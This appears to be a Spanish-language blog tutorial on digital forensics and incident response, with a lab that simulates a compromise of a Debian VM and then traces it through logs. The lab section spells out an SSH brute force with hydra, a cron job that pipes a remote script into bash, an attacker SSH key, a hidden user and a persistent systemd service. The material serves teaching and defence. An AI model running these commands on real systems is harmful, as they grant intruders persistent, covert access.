Seguro viste un montón de películas donde el hacker rompe todo, ve las cámaras de toda la ciudad, destruye un satélite en órbita y frena un ataque nuclear; todo desde su habitación en el zótano de la casa de sus padres… Y te habrás preguntado… Es así?, no lo pueden detectar?.
Bueno, esa no es la pregunta dificil. La pregunta dificil viene después que sabés que lo detectaron y que te hackeó:
Cómo lo hizo?.
Para responder esta y otras preguntas relacionadas existe DFIR, la rama de la ciberseguridad que se encarga del Análisis Forense!
Qué es DFIR?
En los últimos años, el término DFIR se volvió cada vez más común dentro del mundo de la ciberseguridad. A medida que los ataques informáticos se vuelven más sofisticados y frecuentes, las organizaciones necesitan no solo prevenir intrusiones, sino también investigarlas cuando ocurren.
Ahí es donde entra en juego DFIR.
DFIR combina dos disciplinas fundamentales: la respuesta a incidentes de seguridad y el análisis forense digital. Su objetivo es entender qué ocurrió durante un ataque, cómo ocurrió, qué impacto tuvo y cómo evitar que vuelva a suceder.
DFIR no es una sino dos disciplinas unidas: Digital Forensic and Incidente Response y tienen como objetivo detectar y responder ante incidentes de Ciberseguridad.
Incident Response (IR) tiene como objetivo detectar, contener y erradicar un ataque en curso y se hará preguntas como:
- ¿Qué está pasando?
- ¿El atacante sigue adentro?
- ¿Cómo lo frenamos?
- ¿Qué sistemas están comprometidos?
La parte de tu empresa o departamento que ejecute la respuesta ante incidentes conocerá bien la infraestructura completa de la red. Normalmente guiados por el CISO de la empresa o el Jefe de infraestructura y tecnología.
Suelen tener Playbooks para cada ataque o situación. Los playbooks son manuales o un conjunto de procedimientos y herramientas de como actuar o desplegar en situaciones específicas. Es normal tener un playbook para Ramsomware, otro para intrusión detectada, etc.
Digital Forensics (DF) es la investigación técnica posterior y responde otras tantas preguntas como:
- ¿Cómo entraron?
- ¿Qué vulnerabilidad explotaron?
- ¿Qué hicieron dentro del sistema?
- ¿Qué datos tocaron o robaron?
- ¿Cuánto tiempo estuvieron?
Acá el objetivo es otro: Reconstruir el ataque con evidencia técnica.
Ambos son desafíos tecnológicos y requieren mucho conocimiento.
En el medio tenés un montón de «Disciplinas» o «Técnicas» y equipos asociados para poder lograr estos objetivos. Seguro viste muchos de estos items en WAZUH como Threat Hunting, Malware Detection, etc.

DFIR Como Framework
La mayoría de los equipos DFIR siguen modelos estructurados de respuesta a incidentes.
Uno de los más conocidos es el ciclo de respuesta(y uno de los marcos normativos más rompe pelotas de implementar XD) del National Institute of Standards and Technology (NIST), que define cuatro fases principales:
1. Preparación
Antes de que ocurra un incidente, las organizaciones deben preparar:
- herramientas de monitoreo
- procedimientos de respuesta
- planes de contingencia
- backups
- personal capacitado(la parte más dura quizás)
La preparación es crítica, porque una respuesta improvisada suele agravar los incidentes.
2. Detección y análisis
En esta fase se identifica la actividad sospechosa y se confirma si se trata de un incidente real o un falso positivo.
Las fuentes de detección suelen ser:
- sistemas de monitoreo
- SIEM
- logs de servidores
- alertas de antivirus o EDR
- reportes de usuarios
Una vez detectado el incidente, comienza el análisis inicial para entender su alcance.
3. Contención, erradicación y recuperación
Acá se ejecutan las acciones para detener el ataque.
Las tareas pueden incluir:
- aislar sistemas comprometidos
- bloquear direcciones IP maliciosas
- eliminar malware
- cerrar vulnerabilidades
- restaurar sistemas desde backups
El objetivo es recuperar la operación normal lo antes posible.
4. Lecciones aprendidas
Después del incidente se realiza un análisis completo para entender:
- qué falló
- qué controles faltaban
- qué mejoras implementar
Esta fase es fundamental para fortalecer la seguridad futura.
Qué analiza un investigador DFIR
Durante una investigación, los analistas o la gente de TI examinan múltiples fuentes de evidencia digital que seguro no escapan a tu laburo diario.
Logs del sistema
Archivos de registro que muestran eventos importantes, como:
- accesos al sistema
- ejecución de comandos
- instalación de software
- conexiones de red
Sistemas de archivos
Se analizan:
- archivos creados o modificados
- binarios sospechosos
- scripts maliciosos
- artefactos de persistencia
Memoria RAM
Este es un poco más rebuscado pero el análisis de memoria puede revelar:
- procesos maliciosos
- conexiones de red activas
- credenciales en memoria
- malware residente
Tráfico de red
Para esta parte necesitas un IDS, IPS o un NGFW. Se investiga el tráfico para detectar:
- comunicaciones con servidores de comando y control
- exfiltración de datos
- movimientos laterales dentro de la red
Desde ya que este tipo de analisis es muy técnico y la tenes que tener bastante clara para empezar a investigar pero no es algo de otro mundo.
Hay herramientas específicas para auditorías forenses. Entre las más conocidas tenés:
análisis forense
- Autopsy
- Sleuth Kit
análisis de memoria
- Volatility
- Rekall
análisis de timeline
- Plaso
- Timesketch
recolección de artefactos
- Velociraptor
- GRR Rapid Response
monitoreo y detección
- Wazuh
- SIEMs Pagos! (dos opciones nomás: la gratis y las pagas!)
Laboratorio
Pensé mucho en como encarar una práctica clara de DFIR. Si entras a cualquier sitio a jugar CTF vas a encontrar un montón de VMs de Ofensiva pero pocas de Defensiva. Sabiendo esto me propuse hacer un ataque a una VM en GNS3, en este caso un Debian, y después hacer el análisis de logs logs correspondientes. Esto es lo que salió.

El escenario está vez es super minimalista!!
Nuestro Debian va a correr un server web (apache2) y un server ssh(openssh). Y luego vamos a realizar unos ataques. La ip de nuestro server Debian es: 192.168.122.252
#Configuramos nuestro debian
sudo apt update && sudo apt install openssh-server apache2 -y
#Agregamos un usuario
sudo adduser alumno
#le vamos a poner una password sencilla del tipo: 123456
#Ahora vamos a darle al usuario alumno permisos sudo
sudo usermod -aG sudo alumno
Excelente. Ya tenemos el entorno vulnerable!. Esto no es un ataque real solo vamos a tratar de escribir los logs de nuestro servidor para que en un análisis parezca un ataque real.
Voy a tratar de ir rápido así que pondré en los comentarios lo que vamos a hacer.
#Ataque de fuerza bruta al ssh
hydra -l alumno -P /home/usuario/passwords/rockyou.txt ssh://192.168.122.252

Listo, acabamos de llenar los logs de acceso.
#Nos conectamos por ssh y dejamos unos logs por todos lados
ssh alumno@192.168.122.252
#Simulamos la descarga de algún exploit
wget http://example.com/tool.sh
#Vamos a dejar un virus persistente
crontab -e
#y escribimos
*/5 * * * * curl http://example.com/ping.sh | bash
#Editamos y ponemos nuestra clave para el acceso perpetuo
sudo nano ~/.ssh/authorized_keys
#Simulamos una escalada de privilegios
sudo usermod -aG sudo alumno
sudo -i
#Vamos a dejar un archivo sospechoso
mkdir /tmp/.cache
nano /tmp/.cache/miner.sh
#cargamos esto en nuestro archivo
while true
do
echo mining...
sleep 10
done
chmod +x /tmp/.cache/miner.sh
#Vamos a crear un usuario oculto por si nos descubren
sudo useradd backupsvc
sudo passwd backupsvc
#Vamos a instalar un servicio persistente
sudo nano /etc/systemd/system/update.service
#contenido
[Unit]
Description=System Update
[Service]
ExecStart=/tmp/.cache/miner.sh
[Install]
WantedBy=multi-user.target
#Dejamos el servicio andando
systemctl enable update
Bueno, ya tenemos un equipo comprometido
- brute force SSH
- login exitoso
- sudo escalation
- cron persistente
- servicio systemd
- malware en /tmp
- usuario oculto
Ahora vamos a aplicar DFIR, pero antes de tocar nada debemos asegurarnos de mantener la evidencia tal cuál la encontramos.
Contención inicial (antes del forense)
Primero hay que evitar que el atacante siga operando.
Opciones:
- Desconectar el servidor de la red
- o bloquear salida a internet
- o moverlo a una VLAN de cuarentena
Pero NO lo apagues todavía si querés análisis completo. La RAM puede tener evidencia.
Si el incidente es grave:
- snapshot del VM
- snapshot del disco
- captura de RAM
Herramientas que podés usar:
LiME(Linux Memory Extractor)AVMLddodcflddpara discos
Ejemplo:
dd if=/dev/sda of=/mnt/forensics/disk_image.dd bs=4M
Preservación de evidencia o Cadena de Custodia
Hay que copiar logs y archivos antes de que roten o se pierdan.
Directorio típico que copio entero:
/var/log
/home
/root
/etc
/tmp
/var/tmp
/var/spool
También:
/var/lib
/usr/local
Ejemplo:
tar czf logs.tar.gz /var/log
Empezamos con DFIR en nuestro equipo de pruebas!.
Analizando
Detectar brute force SSH
#intentos fallidos:
journalctl -t sshd | grep "Failed password"
#contar intentos:
journalctl -t sshd | grep "Failed password" | wc -l
#IPs atacantes:
journalctl -t sshd | grep "Failed password" | awk '{print $11}' | sort | uniq -c


Detectar login exitoso
grep "Accepted password" /var/log/auth.log

Ver sesiones
last

En este punto ya sabemos como entró y desde que ip. Ahora se nos va a hacer más sencillo buscar más info.
Ver uso de sudo
journalctl -t sshd | grep sudo
Buscar persistencia
crontab -l
Buscar servicios sospechosos
systemctl list-unit-files | grep enabled

Buscar malware en tmp
find /tmp -type f -executable
Buscar usuarios nuevos
cat /etc/passwd

comparar fechas.
Revisar historial
#Acá está la papa, todos los comandos ejecutados
cat ~/.bash_history
Revisar procesos
ps aux
Hasta acá todo lo que seguro ya usas en tu trabajo diario. Te dejo un checklist rápido que encontré en la red para tener presente.
Checklist rápido de compromiso Linux
Este checklist se usa mucho en incident response.
sesiones activas
w
conexiones
ss -antp
procesos raros
ps auxf
archivos recientes
find / -mtime -1
SUID sospechosos
find / -perm -4000
cron
ls -la /etc/cron*
Cómo detectar webshells en Apache
Y si alguien dejó una webshell en tu /var/www/html/?. Bueno, primero lo primero:
Buscar archivos nuevos:
/var/www/html
ejemplo:
find /var/www -mtime -1
Buscar funciones peligrosas en PHP:
shell_exec
system
exec
passthru
En la web oficial de SANS encontré este muy práctico CheatSheet.
https://assets.contentstack.io/v3/assets/blt36c2e63521272fdc/blt982ed30203b20003/5dfbaac458fc4a5aad8eb8e2/digital-forensics-incident-response-log2timeline-timeline-cheatsheet.pdf
Conclusiones…
Este documento no pretende ser exhaustivo sino motivar a buscar un poco más de información sobre la práctica digital forense. Dejé de lado muchas herramientas muy copadas pero es mucho para mencionar acá. Ojalá los empuje a indagar más!.
DFIR representa la evolución natural de la seguridad informática frente a amenazas cada vez más complejas. A pesar de que las soluciones en Ciberseguridad vienen cada vez más potentes nada te hace libre de un ataque.
Algo que me gustaría aclarar es que al detectar un equipo «comprometido» y empezar a trabajar en él, este equipo deja de ser confiable. Lo conservaremos para aplicar el análisis forense pero ya no puede estar más en producción: Ha sido comprometido.
Mientras que las soluciones tradicionales se enfocan en prevenir ataques, DFIR se enfoca en entenderlos, responder a ellos y aprender de cada incidente.
Buscando en internet encontré un repo gigante que me parece que es copado si querés empezar a investigar por estos rumbos.
https://github.com/adrianlois/DFIR-Detection-Engineering?tab=readme-ov-file